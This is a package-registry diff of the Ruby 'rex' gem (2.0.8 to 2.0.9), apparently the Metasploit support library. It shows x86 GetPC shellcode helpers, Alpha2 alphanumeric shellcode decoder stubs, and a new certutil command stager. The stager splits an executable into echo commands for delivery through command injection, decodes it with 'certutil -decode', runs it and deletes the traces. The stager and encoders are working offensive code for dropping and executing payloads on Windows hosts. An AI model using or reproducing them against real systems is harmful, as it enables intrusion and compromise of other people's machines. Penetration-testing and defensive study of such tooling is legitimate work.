rex 2.0.8 → 2.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 22c520a8b58476a0eec77db5441cfded29f8b2f3
4
- data.tar.gz: 51e9bbbaf02d8bd0fb56dcf478afd3e309e149e8
3
+ metadata.gz: 5a35ae088f817815b2d3cd56ad4f298a1dc36a73
4
+ data.tar.gz: f486b6412dd555646eb747c4b65a4b01dd623f38
5
5
  SHA512:
6
- metadata.gz: afa5bb9719866c18f8372147f7e50c6156453a8b5b882eadd083f5bfa6d7ca7bced4ca7a6c6381bb48ca90d71ff89fc579c1a12751f319ae9de25f3b8593803e
7
- data.tar.gz: d0c9d1a506cad9ce76cd82770939d15d6652a03a8a4714284fa20f50e0b4ab534134e52ca0bd68f318b9b85763603342199d54ed169abe93a2913eb0d6c7b15b
6
+ metadata.gz: 96d9eed7f6fa713ae93f52a629113b9f5cdb41aed48db814731612bf2dbe74a0c657f83905640e188c1dcb622b3781125737e1faf1b06ab1eb29d15e99941acc
7
+ data.tar.gz: a7092a603aeab1a5291f522438f8a94a56e28a6f6134d1024c1b8fce85956e0432e818bf83fcee1710bdd2aeeb0c1bf2b297e7f40154f2a7544f20fb043d69f0
data/lib/rex.rb CHANGED
@@ -42,6 +42,7 @@ end
42
42
  require 'rex/constants'
43
43
  require 'rex/exceptions'
44
44
  require 'rex/transformer'
45
+ require 'rex/random_identifier_generator'
45
46
  require 'rex/text'
46
47
  require 'rex/time'
47
48
  require 'rex/job_container'
data/lib/rex/arch.rb CHANGED
@@ -18,6 +18,7 @@ module Arch
18
18
  #
19
19
  require 'rex/arch/x86'
20
20
  require 'rex/arch/sparc'
21
+ require 'rex/arch/zarch'
21
22
 
22
23
  #
23
24
  # This routine adjusts the stack pointer for a given architecture.
@@ -64,6 +65,8 @@ module Arch
64
65
  [addr].pack('V')
65
66
  when ARCH_ARMBE
66
67
  [addr].pack('N')
68
+ when ARCH_ZARCH
69
+ [addr].pack('Q>')
67
70
  end
68
71
  end
69
72
 
@@ -95,6 +98,8 @@ module Arch
95
98
  return ENDIAN_LITTLE
96
99
  when ARCH_ARMBE
97
100
  return ENDIAN_BIG
101
+ when ARCH_ZARCH
102
+ return ENDIAN_BIG
98
103
  end
99
104
 
100
105
  return ENDIAN_LITTLE
data/lib/rex/arch/x86.rb CHANGED
@@ -421,8 +421,7 @@ module X86
421
421
  # This method returns an array containing a geteip stub, a register, and an offset
422
422
  # This method will return nil if the getip generation fails
423
423
  #
424
- def self.geteip_fpu(badchars)
425
-
424
+ def self.geteip_fpu(badchars, modified_registers = [])
426
425
  #
427
426
  # Default badchars to an empty string
428
427
  #
@@ -470,18 +469,29 @@ module X86
470
469
  #
471
470
  while(dsts.length > 0)
472
471
  buf = ''
472
+ mod_registers = [ESP]
473
473
  dst = dsts[ rand(dsts.length) ]
474
474
  dsts.delete(dst)
475
475
 
476
476
  # If the register is not ESP, copy ESP
477
477
  if (dst != ESP)
478
- next if badchars.index( (0x70 + dst).chr )
478
+ mod_registers.push(dst)
479
+ if badchars.index( (0x70 + dst).chr )
480
+ mod_registers.pop(dst)
481
+ next
482
+ end
479
483
 
480
484
  if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
481
485
  buf << "\x89" + (0xE0 + dst).chr
482
486
  else
483
- next if badchars.index("\x54")
484
- next if badchars.index( (0x58+dst).chr )
487
+ if badchars.index("\x54")
488
+ mod_registers.pop(dst)
489
+ next
490
+ end
491
+ if badchars.index( (0x58+dst).chr )
492
+ mod_registers.pop(dst)
493
+ next
494
+ end
485
495
  buf << "\x54" + (0x58 + dst).chr
486
496
  end
487
497
  end
@@ -506,6 +516,7 @@ module X86
506
516
  regs.delete(reg)
507
517
  next if reg == ESP
508
518
  next if badchars.index( (0x58 + reg).chr )
519
+ mod_registers.push(reg)
509
520
 
510
521
  # Pop the value back out
511
522
  0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
@@ -513,8 +524,11 @@ module X86
513
524
  # Fix the value to point to self
514
525
  gap = out.length - buf.length
515
526
 
527
+ mod_registers.uniq!
528
+ modified_registers.concat(mod_registers)
516
529
  return [out, REG_NAMES32[reg].upcase, gap]
517
530
  end
531
+ mod_registers.pop(dst)
518
532
  end
519
533
 
520
534
  return nil
@@ -0,0 +1,17 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Arch
5
+
6
+ #
7
+ # base module for ZARCH creation 8/13/15
8
+ # Author: BeS Bigendian Smalls
9
+ #
10
+
11
+ module ZARCH
12
+
13
+
14
+ end
15
+
16
+ end end
17
+
data/lib/rex/compat.rb CHANGED
@@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/')
166
166
  app_data = ENV['APPDATA']
167
167
  paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
168
168
 
169
- paths.each do |p|
170
- if File.exists?(p)
171
- args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
169
+ paths.each do |path|
170
+ if File.exists?(path)
171
+ args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
172
172
  system("#{path} #{args} #{url}")
173
173
  found_browser = true
174
174
  break
@@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/')
188
188
  end
189
189
  else
190
190
  if defined? ENV['PATH']
191
- ['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
191
+ ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
192
192
  ENV['PATH'].split(':').each do |path|
193
193
  browser_path = "#{path}/#{browser}"
194
194
  if File.exists?(browser_path)
195
195
  args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
196
196
  system("#{browser_path} #{args} #{url} &")
197
197
  found_browser = true
198
+ break
198
199
  end
199
200
  end
200
201
  end
data/lib/rex/constants.rb CHANGED
@@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik'
88
88
  ARCH_PYTHON = 'python'
89
89
  ARCH_NODEJS = 'nodejs'
90
90
  ARCH_FIREFOX = 'firefox'
91
+ ARCH_ZARCH = 'zarch'
91
92
  ARCH_TYPES =
92
93
  [
93
94
  ARCH_X86,
@@ -110,7 +111,8 @@ ARCH_TYPES =
110
111
  ARCH_DALVIK,
111
112
  ARCH_PYTHON,
112
113
  ARCH_NODEJS,
113
- ARCH_FIREFOX
114
+ ARCH_FIREFOX,
115
+ ARCH_ZARCH,
114
116
  ]
115
117
 
116
118
  ARCH_ALL = ARCH_TYPES
@@ -8,22 +8,49 @@ module Alpha2
8
8
 
9
9
  class AlphaMixed < Generic
10
10
 
11
- def self.gen_decoder_prefix(reg, offset)
12
- if (offset > 32)
13
- raise "Critical: Offset is greater than 32"
11
+ # Generates the decoder stub prefix
12
+ #
13
+ # @param [String] reg the register pointing to the encoded payload
14
+ # @param [Fixnum] offset the offset to reach the encoded payload
15
+ # @param [Array] modified_registers accounts the registers modified by the stub
16
+ # @return [String] the alpha mixed decoder stub prefix
17
+ def self.gen_decoder_prefix(reg, offset, modified_registers = [])
18
+ if offset > 32
19
+ raise 'Critical: Offset is greater than 32'
14
20
  end
15
21
 
22
+ mod_registers = []
23
+ nop_regs = []
24
+ mod_regs = []
25
+ edx_regs = []
26
+
16
27
  # use inc ebx as a nop here so we still pad correctly
17
- if (offset <= 16)
28
+ if offset <= 16
18
29
  nop = 'C' * offset
30
+ nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
31
+
19
32
  mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
33
+ mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
34
+ mod_regs.concat(nop_regs)
35
+ mod_regs.push(Rex::Arch::X86::EDX)
36
+
20
37
  edxmod = 'J' * (17 - offset)
38
+ edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
21
39
  else
22
40
  mod = 'A' * (offset - 16)
41
+ mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
42
+
23
43
  nop = 'C' * (16 - mod.length)
44
+ nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
45
+
24
46
  mod << nop + '7QZ'
47
+ mod_regs.concat(nop_regs)
48
+ mod_regs.push(Rex::Arch::X86::EDX)
49
+
25
50
  edxmod = 'B' * (17 - (offset - 16))
51
+ edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
26
52
  end
53
+
27
54
  regprefix = {
28
55
  'EAX' => 'PY' + mod, # push eax, pop ecx
29
56
  'ECX' => 'I' + mod, # dec ecx
@@ -36,15 +63,38 @@ class AlphaMixed < Generic
36
63
  }
37
64
 
38
65
  reg.upcase!
39
- if (not regprefix.keys.include? reg)
40
- raise ArgumentError.new("Invalid register name")
66
+
67
+ unless regprefix.keys.include?(reg)
68
+ raise ArgumentError.new('Invalid register name')
41
69
  end
70
+
71
+ case reg
72
+ when 'EDX'
73
+ mod_registers.concat(edx_regs)
74
+ mod_registers.concat(nop_regs)
75
+ mod_registers.push(Rex::Arch::X86::ECX)
76
+ else
77
+ mod_registers.push(Rex::Arch::X86::ECX)
78
+ mod_registers.concat(mod_regs)
79
+ end
80
+
81
+ mod_registers.uniq!
82
+ modified_registers.concat(mod_registers)
83
+
42
84
  return regprefix[reg]
43
85
  end
44
86
 
45
- def self.gen_decoder(reg, offset)
87
+ # Generates the decoder stub
88
+ #
89
+ # @param [String] reg the register pointing to the encoded payload
90
+ # @param [Fixnum] offset the offset to reach the encoded payload
91
+ # @param [Array] modified_registers accounts the registers modified by the stub
92
+ # @return [String] the alpha mixed decoder stub
93
+ def self.gen_decoder(reg, offset, modified_registers = [])
94
+ mod_registers = []
95
+
46
96
  decoder =
47
- gen_decoder_prefix(reg, offset) +
97
+ gen_decoder_prefix(reg, offset, mod_registers) +
48
98
  "jA" + # push 0x41
49
99
  "X" + # pop eax
50
100
  "P" + # push eax
@@ -62,7 +112,18 @@ class AlphaMixed < Generic
62
112
  "uJ" + # jnz short -------------------------
63
113
  "I" # first encoded char, fixes the above J
64
114
 
65
- return decoder
115
+ mod_registers.concat(
116
+ [
117
+ Rex::Arch::X86::ESP,
118
+ Rex::Arch::X86::EAX,
119
+ Rex::Arch::X86::ECX,
120
+ Rex::Arch::X86::EDX
121
+ ])
122
+
123
+ mod_registers.uniq!
124
+ modified_registers.concat(mod_registers)
125
+
126
+ decoder
66
127
  end
67
128
 
68
129
  end end end end
@@ -9,21 +9,47 @@ module Alpha2
9
9
  class AlphaUpper < Generic
10
10
  def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
11
11
 
12
- def self.gen_decoder_prefix(reg, offset)
13
- if (offset > 20)
14
- raise "Critical: Offset is greater than 20"
12
+ # Generates the decoder stub prefix
13
+ #
14
+ # @param [String] reg the register pointing to the encoded payload
15
+ # @param [Fixnum] offset the offset to reach the encoded payload
16
+ # @param [Array] modified_registers accounts the registers modified by the stub
17
+ # @return [String] the alpha upper decoder stub prefix
18
+ def self.gen_decoder_prefix(reg, offset, modified_registers = [])
19
+ if offset > 20
20
+ raise 'Critical: Offset is greater than 20'
15
21
  end
16
22
 
23
+ mod_registers = []
24
+ nop_regs = []
25
+ mod_regs = []
26
+ edx_regs = []
27
+
17
28
  # use inc ebx as a nop here so we still pad correctly
18
29
  if (offset <= 10)
19
30
  nop = 'C' * offset
31
+ nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
32
+
20
33
  mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
34
+ mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
35
+ mod_regs.concat(nop_regs)
36
+ mod_regs.push(Rex::Arch::X86::EDX)
37
+
21
38
  edxmod = 'J' * (11 - offset)
39
+ edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
22
40
  else
23
41
  mod = 'A' * (offset - 10)
42
+ mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
43
+
24
44
  nop = 'C' * (10 - mod.length)
45
+ nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
46
+
25
47
  mod << nop + 'QZ'
48
+ mod_regs.concat(nop_regs)
49
+ mod_regs.push(Rex::Arch::X86::EDX)
50
+
26
51
  edxmod = 'B' * (11 - (offset - 10))
52
+ edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
27
53
  end
28
54
  regprefix = {
29
55
  'EAX' => 'PY' + mod, # push eax, pop ecx
@@ -33,20 +59,41 @@ class AlphaUpper < Generic
33
59
  'ESP' => 'TY' + mod, # push esp, pop ecx
34
60
  'EBP' => 'UY' + mod, # push ebp, pop ecx
35
61
  'ESI' => 'VY' + mod, # push esi, pop ecx
36
- 'EDI' => 'WY' + mod, # push edi, pop edi
62
+ 'EDI' => 'WY' + mod, # push edi, pop ecx
37
63
  }
38
64
 
39
65
  reg.upcase!
40
- if (not regprefix.keys.include? reg)
66
+ unless regprefix.keys.include?(reg)
41
67
  raise ArgumentError.new("Invalid register name")
42
68
  end
43
- return regprefix[reg]
44
69
 
70
+ case reg
71
+ when 'EDX'
72
+ mod_registers.concat(edx_regs)
73
+ mod_registers.concat(nop_regs)
74
+ mod_registers.push(Rex::Arch::X86::ECX)
75
+ else
76
+ mod_registers.push(Rex::Arch::X86::ECX)
77
+ mod_registers.concat(mod_regs)
78
+ end
79
+
80
+ mod_registers.uniq!
81
+ modified_registers.concat(mod_registers)
82
+
83
+ return regprefix[reg]
45
84
  end
46
85
 
47
- def self.gen_decoder(reg, offset)
86
+ # Generates the decoder stub
87
+ #
88
+ # @param [String] reg the register pointing to the encoded payload
89
+ # @param [Fixnum] offset the offset to reach the encoded payload
90
+ # @param [Array] modified_registers accounts the registers modified by the stub
91
+ # @return [String] the alpha upper decoder stub
92
+ def self.gen_decoder(reg, offset, modified_registers = [])
93
+ mod_registers = []
94
+
48
95
  decoder =
49
- gen_decoder_prefix(reg, offset) +
96
+ gen_decoder_prefix(reg, offset, mod_registers) +
50
97
  "V" + # push esi
51
98
  "T" + # push esp
52
99
  "X" + # pop eax
@@ -73,6 +120,18 @@ class AlphaUpper < Generic
73
120
  "JJ" + # jnz * --------------------
74
121
  "I" # first encoded char, fixes the above J
75
122
 
123
+ mod_registers.concat(
124
+ [
125
+ Rex::Arch::X86::ESP,
126
+ Rex::Arch::X86::EAX,
127
+ Rex::Arch::X86::ESI,
128
+ Rex::Arch::X86::ECX,
129
+ Rex::Arch::X86::EDX
130
+ ])
131
+
132
+ mod_registers.uniq!
133
+ modified_registers.concat(mod_registers)
134
+
76
135
  return decoder
77
136
  end
78
137
 
@@ -2,6 +2,7 @@
2
2
 
3
3
  require 'rex/exploitation/cmdstager/base'
4
4
  require 'rex/exploitation/cmdstager/vbs'
5
+ require 'rex/exploitation/cmdstager/certutil'
5
6
  require 'rex/exploitation/cmdstager/debug_write'
6
7
  require 'rex/exploitation/cmdstager/debug_asm'
7
8
  require 'rex/exploitation/cmdstager/tftp'
@@ -0,0 +1,115 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+ require 'msf/core/framework'
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ ###
11
+ #
12
+ # This class provides the ability to create a sequence of commands from an executable.
13
+ # When this sequence is ran via command injection or a shell, the resulting exe will
14
+ # be written to disk and executed.
15
+ #
16
+ # This particular version uses Windows certutil to base64 decode a file,
17
+ # created via echo >>, and decode it to the final binary.
18
+ #
19
+ #
20
+ # Written by xistence
21
+ # Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
22
+ #
23
+ ###
24
+
25
+ class CmdStagerCertutil < CmdStagerBase
26
+
27
+ def initialize(exe)
28
+ super
29
+
30
+ @var_encoded = Rex::Text.rand_text_alpha(5)
31
+ @var_decoded = Rex::Text.rand_text_alpha(5)
32
+ @decoder = nil # filled in later
33
+ end
34
+
35
+
36
+ # Override just to set the extra byte count
37
+ # @param opts [Array] The options to generate the command line
38
+ # @return [Array] The complete command line
39
+ def generate_cmds(opts)
40
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
41
+ @cmd_start = "echo "
42
+ @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
43
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
44
+ opts.merge!({ :extra => xtra_len })
45
+ super
46
+ end
47
+
48
+
49
+ # Simple base64 encoder for the executable
50
+ # @param opts [Array] The options to generate the command line
51
+ # @return [String] Base64 encoded executable
52
+ def encode_payload(opts)
53
+ Rex::Text.encode_base64(@exe)
54
+ end
55
+
56
+
57
+ # Combine the parts of the encoded file with the stuff that goes
58
+ # before / after it.
59
+ # @param parts [Array] Splitted commands
60
+ # @param opts [Array] The options to generate the command line
61
+ # @return [Array] The command line
62
+ def parts_to_commands(parts, opts)
63
+
64
+ cmds = []
65
+ parts.each do |p|
66
+ cmd = ''
67
+ cmd << @cmd_start
68
+ cmd << p
69
+ cmd << @cmd_end
70
+ cmds << cmd
71
+ end
72
+
73
+ cmds
74
+ end
75
+
76
+
77
+ # Generate the commands that will decode the file we just created
78
+ # @param opts [Array] The options to generate the command line
79
+ # @return [Array] The certutil Base64 decoder part of the command line
80
+ def generate_cmds_decoder(opts)
81
+
82
+ cmds = []
83
+ cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
84
+ return cmds
85
+ end
86
+
87
+
88
+ # We override compress commands just to stick in a few extra commands
89
+ # last second..
90
+ # @param cmds [Array] Complete command line
91
+ # @param opts [Array] Extra options for command line generation
92
+ # @return [Array] The complete command line including cleanup
93
+ def compress_commands(cmds, opts)
94
+ # Make it all happen
95
+ cmds << "#{@tempdir}#{@var_decoded}.exe"
96
+
97
+ # Clean up after unless requested not to..
98
+ if (not opts[:nodelete])
99
+ cmds << "del #{@tempdir}#{@var_encoded}.b64"
100
+ # NOTE: We won't be able to delete the exe while it's in use.
101
+ end
102
+
103
+ super
104
+ end
105
+
106
+ # Windows uses & to concat strings
107
+ #
108
+ # @return [String] Concat operator
109
+ def cmd_concat_operator
110
+ " & "
111
+ end
112
+
113
+ end
114
+ end
115
+ end